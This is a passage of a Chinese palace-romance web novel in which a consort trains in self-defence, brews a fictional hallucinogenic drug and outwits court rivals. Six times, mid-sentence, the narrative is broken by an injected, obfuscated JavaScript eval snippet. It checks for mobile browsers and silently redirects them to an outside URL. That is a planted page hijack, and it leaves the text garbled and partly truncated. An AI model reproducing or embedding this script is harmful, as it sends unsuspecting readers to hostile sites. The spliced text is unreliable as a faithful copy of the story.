萧景翊正批着奏折,听福公公结结巴巴说完,手中的笔“啪”地折断:“她要让外男进宫?” 他脸色阴沉得可怕,扔下笔就往沈青黛的寝殿走。 沈青黛正对着铜镜比划招式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852250|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见萧景翊黑着脸闯进来,吓了一跳。 “殿下,您这是怎么了?吃**了?” “沈青黛,你好本事!”萧景翊冷眼看着她,“背着我找外男,是打算给我戴绿帽子?” “冤枉啊!”沈青黛跳起来。 “我就是瞧见街边杂耍的功夫厉害,想学来防身!” “您想想,柳如烟会蛊毒,威远侯府又虎视眈眈,我要是有点功夫,也能帮您分担不是?” 萧景翊皱着眉上下打量她:“就你这小身板,还学武功?” “怎么不行?” 沈青黛不服气,抓起桌上的扫帚当剑,有模有样地比划。 “我还能边打边撒药粉,保证让敌人防不胜防!” 萧景翊看着她手忙脚乱的样子,差点笑出声,又板起脸:“胡闹!外男不能进宫。不过……” 他顿了顿,“你身边的暗卫阿七,功夫不错,让他教你。” 沈青黛眼睛一亮:“真的?殿下您太好了!” 她凑过去,讨好地说,“那阿七什么时候来?我还想让他教我怎么徒手劈砖!” “明日就开始。”萧景翊伸手敲了下她的脑袋,“不过丑话说在前头,要是你敢偷懒,或者拿功夫去闯祸……” “遵命!”沈青黛立正敬礼,“我保证好好学,争取早日成为殿下的得力助手!” 她突然想起什么,压低声音。 “对了,今天在威远侯府,他们想让我帮忙送庶女进宫,还拿我爹娘威胁我……” 萧景翊神色一凛,沉声道:“放心,我会派人保护伯父伯母。” “威远侯府最近动作频繁,怕是和柳如烟有勾结。你学功夫也好,往后遇到危险,至少能自保。” 沈青黛心里一暖,难得认真地说:“谢谢殿下。我一定不拖后腿!” 她突然又换上笑嘻嘻的表情。 “不过学功夫好累的,殿下是不是该给点奖励?比如……再开放一次您的私库?” 萧景翊被她逗笑,无奈地摇头:“就知道你没安好心。等你学会了,想要什么都给你。” 第五十六章 秘密基地 “一言为定!”沈青黛蹦蹦跳跳送萧景翊出门,心里盘算着明天要让阿七教她什么招式。 谁知第二天一早,萧景翊直接带着一队侍卫来到她寝殿,冷着脸道:“收拾东西,跟我走。” 沈青黛揉着惺忪睡眼,吓得一激灵:“殿下,这是要带我去哪儿?该不会是觉得我知道太多,要把我灭口吧?” “少胡说。”萧景翊一把拽住她手腕,“阿七身份特殊,不能在东宫教你。带你去个安全的地方。” 马车七拐八绕,停在京城郊外一座不起眼的府邸前。 沈青黛刚下车,就被眼前的景象惊得瞪大眼。 看似普通的朱漆大门后,竟是一座戒备森严的大宅子,门口侍卫个个腰佩长刀,眼神锐利如鹰。 “这、这是哪儿?”沈青黛咽了咽口水,“殿下,您该不会是京城最大的江湖帮派头子吧?” 萧景翊没理她的胡言乱语,径直领着她穿过九曲回廊,推开一间书房的暗门。 密道里烛火摇曳,墙壁上挂满刀剑,尽头是一间摆满机关的密室。 “从今天起,你就在这儿练。” 萧景翊按下墙上的暗钮。 刹那间,无数木刺从四面八方射出,沈青黛尖叫着左躲右闪,裙摆差点被削烂。 “这是什么魔鬼训练!”沈青黛躲在墙角,拍着胸口直喘气,“我还以为是来学功夫,结果是来送命的!” “想要防身,先练反应。”萧景翊面无表情又按了下机关,这次换成漫天飞来的铁球。 沈青黛手忙脚乱,没一会儿就被铁球砸中胳膊,疼得眼泪都出来了。 “殿下!您就不能怜香惜玉点?”沈青黛揉着红肿的胳膊,委屈巴巴,“我可是个弱女子!” “弱女子?”萧景翊挑眉,“昨天是谁说要徒手劈砖的?” 他从袖中掏出个瓷瓶,倒出一颗丹药递给她,“吃了,能止痛化瘀。” 沈青黛气呼呼地接过丹药。 “早知道还不如让阿七教我!您这哪是教功夫,分明是公报私仇!是不是因为我上次把东宫差点烧了,您就想趁机报复我?” “继续废话,下一轮机关就该放**了。”萧景翊面无表情地又按下一个按钮。 沈青黛吓得立刻闭嘴,全神贯注盯着四周。 可那些机关实在太快,她顾得了头顾不了尾,没一会儿身上又多了好几道擦伤。 最倒霉的是,她躲避时脚下一滑,直接摔进萧景翊怀里。 “小心!”萧景翊眼疾手快搂住她腰,两人贴得极近,沈青黛甚至能听见他有力的心跳声。 “殿下,您、您心跳好快。”沈青黛眨着大眼睛,突然坏笑,“原来您也会紧张啊?” 萧景翊耳尖泛红,一把将她推开:“别胡思乱想!起来继续练!” 就这样,沈青黛在密室里被机关“折磨”了整整一下午。 等训练结束时,她浑身是伤,瘫在地上动都不想动。 “不行了不行了,我要累**……殿下,您是不是偷偷和柳如烟串通好的,想把我折腾死?” 萧景翊无奈地摇头,从一旁拿出早就准备好的金疮药,蹲下身要给她处理伤口。 沈青黛见状,立刻往后缩:“男女授受不亲!我自己来!” “都这时候了还讲究这个?”萧景翊不由分说抓住她受伤的胳膊,动作虽轻柔,语气却霸道,“别动。” 沈青黛看着他认真给自己上药的模样,突然心跳加速。 明明是被机关打得浑身疼,可此刻被他握着胳膊,心里却泛起丝丝甜意。 “殿下,您对我这么好,该不会是喜欢我吧?”沈青黛突然调侃道。 萧景翊手一抖,差点把药洒出来:“再胡说,下次训练就把机关速度翻倍。” “别别别!”沈青黛连忙摆手,“我错了还不行嘛!不过说真的,殿下,今天谢谢你。” 她突然认真起来。 “我知道您是想让我快点有自保能力。我会努力练的,以后也帮您一起对付柳如烟和威远侯府!” 萧景翊看着她的眼神,心里某处柔软被触动。 他别开脸,装作若无其事道:“知道就好。起来吧,带你去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852251|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看样东西。” 他领着沈青黛来到密室最深处,推开一道暗门。 门后堆满了各种卷宗密信,墙上还挂着一幅巨大的舆图,上面用朱砂密密麻麻标记着南疆和京城各处势力分布。 “这些是……”沈青黛惊讶地看着眼前的一切。 “这是我这些年搜集的线索。”萧景翊神色凝重。 “柳如烟背后的巫主势力,威远侯府的异动,还有失踪的虎符……所有的阴谋,都能在这里找到关联。” 他转头看向沈青黛,“你既然已经卷入其中,就有权利知道真相。” 沈青黛握紧拳头:“殿下,您放心!我一定好好学功夫,尽快把这些坏人都揪出来!不过……” 她突然又换上笑嘻嘻的表情,“下次训练,咱们能不能别用这么吓人的机关了?” 萧景翊看着她古灵精怪的模样,忍不住笑了:“先把今天的伤养好吧。明天……” 他故意停顿,“再考虑给你换个温和点的训练方式。” “殿下最好了!”沈青黛欢呼一声,突然想起什么,“对了,我爹娘还在威远侯府……” “我已经派人盯着了。”萧景翊安抚道,“在确保安全之前,先别轻举妄动。你只管专心训练。” 沈青黛重重地点头。 回东宫的路上,沈青黛累得瘫在马车上直哼哼。 回到寝殿,她随便扒拉两口饭,就使唤春桃去打热水,准备好好泡个澡解解乏。 春桃前脚刚走,新来的小婢女秋菊端着果盘进来,正巧瞧见沈青黛挽起袖子揉胳膊——上面青一块紫一块的伤痕触目惊心。 “良娣,您这是怎么了?”秋菊吓得手一抖,果盘差点摔地上。 沈青黛慌忙放下袖子:“就、就是不小心摔的!你可别瞎想!” 秋菊咬着嘴唇,眼神里满是怀疑。当晚,这事儿就像长了翅膀似的,在后宫传开了。 第二天一早,春桃慌慌张张跑进来。 “主子!不好了!宫里都在传,说、说太子殿下有特殊嗜好,为了练什么邪功,天天**您!” 第五十七章 传疯了吧 沈青黛正往嘴里塞桂花糕,闻言差点噎着:“啥?这都哪跟哪啊!” 春桃急得直跺脚。 “还有更离谱的!现在连宫外百姓都在议论,说您被折磨得不成人样了!柳如烟那边的人,更是逮着机会就添油加醋!” 沈青黛气得把筷子一摔:“这分明是有人故意造谣!肯定是柳如烟干的好事!” 她越想越气,蹭地站起来,“不行,我得找殿下说清楚去!” 可还没等她跨出寝殿门槛,就见皇帝身边的大太监**领着一队侍卫匆匆赶来,尖着嗓子喊道:“太子殿下、沈良娣接旨!陛下宣二位即刻前往御书房!” 沈青黛心里“咯噔”一下,偷偷瞥了眼**身后绷着脸的侍卫,小声嘀咕。 “这么大阵仗,看来父皇是真生气了……” 御书房内,檀香混着墨香萦绕,皇帝脸色阴沉地坐在龙椅上,手中的奏折被拍得“啪啪”响。 萧景翊和沈青黛刚行完礼,就听见皇帝一声怒喝:“外面传得沸沸扬扬,说太子**良娣,可有此事?” 沈青黛偷偷抬眼,见皇帝气得胡子都在抖,心里却莫名觉得有点想笑——明明是正儿八经的训练伤,硬是被传成了狗血戏码。 再看身旁的萧景翊,脸色比锅底还黑,拳头攥得紧紧的,活像随时要**。 “父皇,这纯属谣言!”萧景翊上前一步,沉声道,“儿臣绝无……” “是我自己弄的!”沈青黛突然抢话,朝着皇帝露出个讨好的笑。 “最近不是总有人想害我嘛,我就想着学几招防身术,结果笨手笨脚的,把自己弄得青一块紫一块。肯定是有人瞧见了,瞎传一气!” 皇帝皱着眉打量她:“宫中守卫森严,要你一介女流学什么防身术?成何体统!” 沈青黛眨巴着眼睛,装出委屈的模样。 “父皇您不知道,前儿个我在花园散步,突然窜出来只野猫,差点挠花我的脸!我就寻思着,学两招好歹能自保。” 她偷偷瞄了眼萧景翊,见他紧绷的脸色稍稍缓和,又接着说。 “都怪我不好,没跟殿下商量,也没跟宫里报备,才闹出这么大误会!” **在一旁赔着笑脸打圆场。 “陛下,沈良娣也是一片赤忱,不过这流言传出去,到底有损皇家体面……” “哼!”皇帝冷哼一声,“即刻传旨下去,就说沈良娣是自己不小心受伤,再有乱嚼舌根的,杖责二十!” 他又瞪了沈青黛一眼,“以后安分些,别整日瞎折腾!” “是是是!父皇教训得对!”沈青黛忙不迭点头,心里却乐开了花。 这黑锅背得值,不仅帮萧景翊解了围,还顺势把流言压了下去。 等出了御书房,萧景翊看着沈青黛憋笑憋得通红的脸,忍不住开口:“刚才为何抢着认下?不怕父皇责罚?” 沈青黛耸耸肩:“反正我在宫里早就是‘不安分’的代名词了,多背个黑锅也没啥!再说了……“ 她凑近压低声音,“要是让父皇知道咱们在秘密训练,怕是更麻烦!” 萧景翊看着她满不在乎的样子,眉头却越皱越紧。 “就因为这次你背了黑锅,往后更不许再练功了。若是再受伤传出闲话,连父皇都保不住你。” “什么?”沈青黛跳起来,“殿下,您这不是过河拆桥吗?昨天还说让我好好练,今天就变卦?” “我是为你好。”萧景翊语气强硬。 “威远侯府和柳如烟的人都盯着你,稍有不慎就会落入圈套。从今日起,你老老实实待在东宫,别再瞎折腾。” 沈青黛气得直跺脚:“我不!我还没学会徒手劈砖,还没练成防身的本事……” “我说不行就不行。”萧景翊冷着脸转身,“若再让我发现你偷偷训练,就把你关到藏书阁抄书。” 看着萧景翊远去的背影,沈青黛气得对着空气挥拳:“大坏蛋!臭殿下!”她一扭头,正撞见躲在假山后的琳琅。 琳琅抱着装满点心的食盒,脸上笑开了花。 “哟,我当是谁在这儿撒泼呢,原来是咱们的沈良娣啊!怎么,被太子殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烛火摇曳中,沈青黛把银针**血滴,针尖瞬间泛起青黑色。 她皱着眉凑近细看,喃喃自语:“这毒不像是普通的**散,发作时会让人瞳孔变色,而且……” 她突然想起花戎说过的“噬魂草”,心里猛地一跳。 “该不会和柳如烟收集的毒物有关?” 第五十八章 事出有妖 药炉里的水咕嘟咕嘟冒泡,沈青黛把几味药材丢进去,又撒了把自制的解毒粉末。 浓郁的药香很快弥漫整个屋子,她盯着翻滚的药汁,突然一拍大腿。 “对了!上次那小贩发狂前,身上有股若有若无的甜腥味,和柳如烟送来的毒点心味道很像!” 春桃端着热水进来,被药味呛得直咳嗽:“主子,您说这毒要是真和柳如烟有关,咱们可怎么办?” “当然是反将一军!”沈青黛眼睛发亮。 “这毒能控制人心,要是能摸清它的配方,改良成解药,到时候柳如烟那些蛊虫毒术,不就都没用了?” 她越想越兴奋,抓起笔在纸上写写画画。 “先从抑制毒性发作的药材入手,再加入安神的灵芝……” 沈青黛咬着笔头,在纸上涂涂画画,突然听见窗外传来石子轻叩窗棂的声音。 她警惕地吹灭烛火,贴着窗边小声问:“谁?” “沈良娣,我家主子有请。” 外头传来个陌生男声。 “皇后娘娘让我给您带句话——宫宴那日,还望您能帮陆家两位姑娘解围。” 沈青黛挑了挑眉,重新点亮烛台,打开窗接过密信。 信上字迹潦草,只写着“助陆家女,事成有报”八个字。 她盯着信纸冷笑一声:“陆琼华这是打得什么算盘?让我帮她妹妹争宠?” 春桃凑过来瞅了瞅,一脸疑惑:“主子,皇后娘娘不是一直看您不顺眼吗?怎么突然……” “没那么简单。”沈青黛把信纸往火盆里一丢,火苗瞬间窜高,“走,找殿下商量去!这事儿透着古怪。” 翊安殿内,萧景翊正在看边疆战报,见沈青黛风风火火闯进来,眉头一皱。 “又怎么了?” “殿下,您看这个!”沈青黛把事情原原本本说了一遍。 “陆琼华让我在宫宴上帮陆家庶女出头,您说她是不是脑子坏了?哪有皇后主动给皇帝塞新人的?” 萧景翊放下战报,沉吟片刻道:“陆琼华虽骄纵,但不是蠢货。” “她父亲最近在朝堂上动作频繁,陆家庶女进宫,怕是醉翁之意不在酒。” “您的意思是……”沈青黛眼睛一亮,“她想借妹妹进宫,给自己谋条退路?” “不止如此。” 萧景翊起身走到舆图前。 “陆皇后如今被禁足,若能让妹妹在宫中立稳脚跟,一来可以监视后宫动静,二来……” 他指尖重重落在威远侯府的标记上。 “威远侯府最近和柳如烟来往密切,陆琼华怕是察觉到了家族的异动,想提前布局。” 沈青黛恍然大悟。 “所以她让我帮忙,是想卖我个人情!说不定还盼着我和柳如烟斗得两败俱伤,她好坐收渔翁之利!” 她突然一拍手,“不过这对咱们来说,也是个机会!” “你又想出什么主意?”萧景翊转身看她,眼里带着无奈的笑意。 “既然陆琼华想借庶女解禁足,那咱们就顺水推舟!” 沈青黛兴奋地比划着。 “宫宴那天,我不仅要帮陆家女出风头,还要让柳如烟坐不住!等她们两派斗起来,咱们就能趁机找出虎符的线索!” 萧景翊皱眉:“太冒险了。柳如烟的人肯定会在宫宴上动手,你若是卷入争斗……” “放心吧殿下!”沈青黛拍着胸脯,“我现在好歹也学了几招防身术,再加上自制的**、解药,保证不会吃亏!” 她突然凑近,压低声音。 “而且您不是说要将计就计吗?正好借着这个机会,让柳如烟以为我和陆琼华闹掰,放松对我的警惕!” 萧景翊盯着她跃跃欲试的模样,沉默良久才道:“你只管按计划行事,我会安排暗卫暗中保护。但记住,遇到危险立刻脱身,不许逞强。” “遵命!”沈青黛笑嘻嘻地行了个礼。 “对了殿下,我还在研究上次**的事儿。那毒和柳如烟送来的点心味道很像,说不定……” “等等。”萧景翊突然打断她,眼神锐利如鹰,“你最近到底在研究什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864425|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈青黛心里“咯噔”一下,瞬间反应过来。 自己的一举一动居然都在萧景翊的监视之中! 她顿时有些不悦,故意板起脸,没好气地说:“还能研究什么?当然是毒死你的**!” 萧景翊神色一冷,周身气压骤降。 “沈青黛,你知道谋逆是什么罪名吗?若是真敢动这心思,你沈家九族都得跟着陪葬。” “嘁,我就随口说说!”沈青黛翻了个白眼,心里却委屈得不行。 “殿下您也太小心眼了,我不过是开个玩笑,至于这么上纲上线吗?” 她越想越气,干脆一甩袖子,“既然殿下不信任我,那我走就是了!” 看着沈青黛气鼓鼓离去的背影,萧景翊揉了揉眉心,低声吩咐暗处的暗卫:“盯着她,别让她乱来。” 沈青黛气冲冲回到寝殿,“砰”地一声甩上门。 春桃被吓得一哆嗦,手里的药罐差点摔在地上:“主子,您这是怎么了?谁惹您生气了?” “还能有谁?”沈青黛一屁股坐在榻上,“萧景翊那个大坏蛋!居然派人监视我,连我研究点东西都要管!” 她越说越气,突然眼睛一亮,“不行,我非得研究出点厉害的**,给他点颜色瞧瞧!” 春桃吓得脸色发白:“主子,您可别真的……” “放心放心,我心里有数!” 沈青黛已经撸起袖子,开始翻找药箱,“我就不信了,凭我的本事,还炼不出一剂让柳如烟都害怕的**!” 接下来的几天,沈青黛把自己关在寝殿里,整天对着药炉捣鼓。 春桃看着满屋升腾的烟雾,闻着刺鼻的怪味,提心吊胆地问。 “主子,您这炼的到底是什么药啊?不会真的是……” “这叫‘幻梦’!” 沈青黛神秘兮兮地举起一个小瓷瓶,里面装着淡紫色的液体,在烛光下泛着诡异的光泽。 “只要闻上一口,就能让人陷入幻觉,任人摆布!” 春桃瞪大了眼睛:“这么厉害?那您是怎么炼出来的?” 第五十九章 成功炼制 沈青黛得意地挑眉。 “这可是我的独门秘方!我把上次**时取的毒血,和柳如烟点心里的毒素做了对比,又加入了曼陀罗、钩吻这些毒物,最后……” 她突然卖了个关子,“你猜我加了什么?” 春桃摇摇头。 “我的头发!”沈青黛哈哈大笑,“书上说,人的精血能让**产生灵性,我就想着试试,没想到真的成功了!” 她小心翼翼地把瓷瓶塞好,“有了这‘幻梦’,以后柳如烟要是敢再耍什么阴招,我就让她尝尝自己酿的苦果!” 正说着,窗外突然传来异响。 沈青黛警惕地吹灭烛火,低声问:“谁?” “是我。”萧景翊的声音从外头传来。 沈青黛翻了个白眼,没好气地说:“殿下大驾光临,有何贵干?难不成是来抓我治罪的?” 萧景翊推门而入,屋内弥漫的古怪药味让他皱了皱眉头。 “你最近到底在捣鼓什么?暗卫说你整天闭门不出,还不让人靠近。” “没什么,就是炼了点**。” 沈青黛故意晃了晃手中的瓷瓶。 “专门用来对付坏人的。殿下要是没什么事,就请回吧,我这儿的味儿可不好闻,免得熏着您。” 萧景翊盯着她手中的瓷瓶,眼神变得严肃:“沈青黛,我再问你一遍,这药到底有什么用?” “都说了是对付坏人的,难不成我还能拿它害您不成?” 沈青黛撇了撇嘴,“殿下要是真不放心,大可以把我抓起来,省得您整天提心吊胆。” 萧景翊沉默良久,终于开口:“我只是担心你的安危。柳如烟和威远侯府最近动作频繁,我怕你……” “怕我闯祸?”沈青黛打断他。 “殿下,我知道您是为我好,但我也有自己的本事。” “您放心,这‘幻梦’只会用来对付敌人,绝不会给您添麻烦。” 她突然凑近,压低声音,“而且说不定到了宫宴那天,这药还能派上大用场呢!” 萧景翊看着她眼中闪烁的自信,心中的担忧稍稍减轻。 “希望你真的心里有数。宫宴在即,柳如烟肯定会有所行动,你千万要小心。” “知道啦!”沈青黛笑嘻嘻地把他往门外推。 “殿下您就放一百个心吧!我保证不仅能保护好自己,还能帮您把柳如烟的阴谋搅个天翻地覆!” 送走萧景翊后的第三天,柳如烟又袅袅婷婷地来了东宫。 这次她身后跟着四个侍女,每人手里都捧着描金食盒,甜腻的香气隔着老远就飘了过来。 “沈妹妹这日子过得惬意啊。” 柳如烟倚在门框上,眼角眉梢都是笑。 “听说妹妹最近在钻研药理?姐姐特意带了些南疆的特色点心,还望妹妹赏脸尝尝。” 沈青黛心里警铃大作,面上却摆出惊喜的表情:“姐姐太客气了!上次的点心我还没舍得吃呢!” 她故意瞟了眼食盒,“不过姐姐这次带得这么多,该不会是想把我喂成小胖猪吧?” “瞧妹妹这话说的。” 柳如烟亲手打开一个食盒,里面是几块造型精致的玫瑰酥,猩红的花瓣栩栩如生。 “这是用南疆特有的醉心花做的,吃了能让人甜到心坎里去。” 沈青黛捏起一块,余光瞥见春桃紧张地攥着衣角。 她冲春桃使了个眼色,然后“啊呜”一口咬下去,边嚼边含糊不清地说:“真好吃!姐姐的手艺比御膳房的大厨都强!” 柳如烟眼底闪过一丝得意:“妹妹喜欢就好。” 她忽然压低声音,握住沈青黛的手,“其实姐姐这次来,还有件事想拜托妹妹……” 她从袖中掏出个小巧的檀木盒子,上面刻着南疆神秘的图腾,“这是我特意为陛下准备的礼物,劳烦妹妹找个机会呈上去。” 沈青黛心里“咯噔”一下,脸上却装出懵懂的样子:“姐姐为何不亲自献给陛下?” “实不相瞒,”柳如烟叹了口气,眼中泛起泪光。 “前些日子我与陛下有些误会,如今贸然求见,怕是惹陛下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864426|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦。” “妹妹深得陛下喜爱,若是由你转交,想必陛下一定会收下。” 沈青黛接过盒子,故意掂了掂:“这么沉,姐姐不会是给陛下送了金山银山吧?” “妹妹就别打趣我了。”柳如烟掩嘴轻笑,“不过是些不值钱的玩意儿,还望妹妹不要嫌弃。” 她起身告辞时,又状似无意地说:“对了妹妹,上次送给你的点心,可还合胃口?” “那里面加了些特别的香料,吃了能让人……念念不忘呢。” 等柳如烟走远,春桃“扑通”一声跪在地上:“主子,您怎么真吃了?那点心肯定有问题!” 沈青黛却不慌不忙地掏出帕子擦了擦嘴,从怀里摸出个小瓷瓶倒出颗解药吞下:“放心吧,我早有准备。” 她晃了晃檀木盒,眼睛亮晶晶的,“倒是这个宝贝,能让柳如烟自投罗网!” 春桃拍着胸脯松了口气:“主子您可吓死我了!不过柳如烟也太坏了,居然想借您的手害陛下!” “坏心眼的人,总会栽在自己的算计里。” 沈青黛把盒子收好。 “这几天咱们就按兵不动,等宫宴那天……” 她突然压低声音,和春桃咬起了耳朵。 三日后,萧景翊亲自带着一箱精美的宫装来到沈青黛的寝殿。 云锦织就的襦裙上绣着金线牡丹,珍珠流苏随着衣摆轻轻晃动,看得春桃眼睛都直了。 “换上。”萧景翊把裙子往她怀里一塞,“今日宫宴,你是东宫良娣,莫要丢了脸面。” 沈青黛拎起裙摆抖了抖,笑嘻嘻道:“殿下这是嫌我平时穿得太寒酸?不过这裙子确实好看,就是走路会不会踩到?” 她转了个圈,突然凑近小声说。 “柳如烟那边还以为我被**控制了,待会儿看我怎么给她演一出好戏!” 萧景翊无奈地摇头:“别闹太过,一切以安全为重。” 但看着她神采飞扬的样子,嘴角还是忍不住上扬。 宫宴上灯火通明,丝竹声此起彼伏。 第六十章 当众出丑 沈青黛刚跟着萧景翊落座,就见陆雪柔、陆清荷两姐妹袅袅婷婷地走了过来。 陆雪柔一身鹅黄襦裙,笑起来眼波流转:“沈姐姐今日可真美,这裙子的样式,怕是宫里独一份儿吧?” 陆清荷也跟着附和:“是啊姐姐,一会儿可要教教我们怎么打扮!” 沈青黛端起茶盏抿了一口,笑得温婉:“两位妹妹谬赞了。不过要说才艺,我可听说妹妹们准备了惊喜节目?” 她这话一出,周围几桌的大臣命妇都好奇地看了过来。 陆雪柔脸色微微一变,很快又恢复如常:“不过是些粗浅的舞蹈,哪敢在各位面前献丑。” 正说着,丞相在主桌那边朝沈青黛使了个眼色。 沈青黛立刻心领神会,起身福了福身。 “陛下,臣妾听闻陆尚书家两位小姐舞姿卓绝,今日宫宴热闹,不如让妹妹们表演一番,也给大家助助兴?” 皇帝捻着胡须笑道:“哦?朕倒是好奇了。陆卿家,你女儿可有这等本事?” 陆尚书连忙起身:“小女们自幼学舞,若能博陛下一笑,是她们的福气。” 陆雪柔、陆清荷对视一眼,只得硬着头皮应下。 两人退到殿外准备,沈青黛看着她们的背影,偷偷摸了摸袖中的小瓶。 里面装的是特制的胶水,早上已经让春桃悄悄涂在了舞鞋鞋底。 随着鼓点响起,陆氏姐妹翩然起舞。 广袖翻飞间,陆雪柔突然一个旋身,脚下的绣鞋却像被黏住了一般,整个人踉跄着往前扑。 陆清荷慌忙去扶,结果两人一起摔在地上,发簪散落,裙摆也被扯破了。 全场一片哗然。 陆雪柔摔在地上,发髻歪斜,脸上还蹭了胭脂,模样狼狈极了。 陆清荷的裙摆裂开半幅,露出里衬的素布,在满殿华服中格外刺眼。 大臣们交头接耳的声音渐渐大起来,有人掩着袖子偷笑,有人摇头叹气。 “这陆家小姐的舞技,看着也不怎么样嘛。” “可不是,还没开场就出丑,真是扫兴。” 皇帝重重把茶盏往桌上一放:“成何体统!宫宴乃是国之庆典,这般失误,传出去成何体统?” 沈青黛偷偷瞥了眼坐在末席的丞相,见他攥紧了拳头,心里冷笑一声。 她故意提高音量,惋惜道:“陆家妹妹们平日里最是要强,今日不知怎么……莫不是有人存心使坏?” 说着,状似无意地往皇后的席位扫了一眼。 丞相猛地抬头,眼底燃起怒火。 沈青黛凑近他,压低声音:“丞相大人,陆尚书一门心思扑在皇后娘娘身上,您想借两位小姐争宠……怕是打错了算盘。” 她叹着气摇头,“皇后娘娘在后宫经营多年,手段您又不是不知。” 丞相脸色骤变,却强装镇定:“沈良娣这是什么话?莫要血口喷人!” “我不过是替大人不值。” 沈青黛耸耸肩,转身回到座位,心里乐开了花。 这锅甩得漂亮,足够让丞相和陆琼华狗咬狗了。 萧景翊看着她狡黠的模样,低声道:“又在算计什么?” “替殿下分忧呀!”沈青黛眨眨眼,“您就等着看好戏吧。” 宫宴草草结束,众人散去时,皇帝突然叫住太子萧景翊与沈良娣。 “翊儿,沈良娣,陪朕去御花园走走。” 月光洒在九曲回廊上,皇帝背着手,语气难得温和。 “沈良娣,你嫁入东宫也有些时日了。皇家最重子嗣,你和翊儿也该早点为皇室开枝散叶。” 沈良娣脸一红,偷偷戳了戳萧景翊的腰。 萧景翊轻咳一声,拱手道:“父皇所言极是,儿臣与沈良娣定当尽心。” “哎呀,陛下~”沈良娣娇嗔着打断他,从袖中掏出个精致的香囊。 “您看臣妾新调制的香料,叫‘幻梦’。点燃后香气安神,最适合晚上用了!” 她眨着大眼睛,“臣妾特意留了最好的一份,想献给陛下!” 皇帝接过香囊,放在鼻下轻嗅,果然有股淡雅的香气,夹杂着一丝若有若无的甜味。 “倒是新奇,明日让尚宫局送去朕的寝殿。” 沈良娣甜甜笑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865857|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下喜欢就好,臣妾日后还能调制更多花样!” 待皇帝走远,萧景翊立刻沉下脸,盯着沈良娣手中残留的香囊布料。 “说,这‘幻梦’到底是什么东西?你明知柳如烟想利用香料下毒,还往父皇面前送?” 沈良娣眨巴着眼睛,无辜道:“殿下,我好歹是东宫良娣,给陛下进献安神香,帮您尽孝道不是应该的吗?” 她突然凑近,压低声音,“而且您放心,这幻梦我改良过配方,只要不加入特定药引,就是普通熏香!” 萧景翊眉头皱起来:“沈青黛,别跟我打马虎眼。柳如烟今晚必定有所行动,你要是敢……” “我发誓!”沈良娣举起三根手指。 “一切都在计划之中!等会儿回宫我就躲起来,保证不给您添麻烦!” 她见萧景翊还是一脸怀疑,突然伸手戳了戳他的胸口,“殿下,您就信我一次嘛!” 萧景翊无奈地甩开她的手:“若是出了岔子,唯你是问。” 可转身时,他悄悄给暗处的暗卫使了个眼色。 不管沈青黛打什么主意,他总得派人暗中护着。 回东宫的马车上,沈良娣抱着装满易容道具的包袱,心里直乐。 春桃紧张兮兮地问:“主子,您真要易容成琳琅?万一被发现……” “怕什么!” 沈良娣掏出**往脸上一贴,镜子里瞬间映出琳琅的脸。 “我这易容术可是跟花戎学的,连亲娘都认不出来!” 她又往嘴里塞了颗能改变声线的药丸,捏着嗓子说。 “再说了,我就去驿站看看柳如烟的人到底想干什么,很快就回来!” 刚回到寝殿,沈良娣就把自己锁进内室。 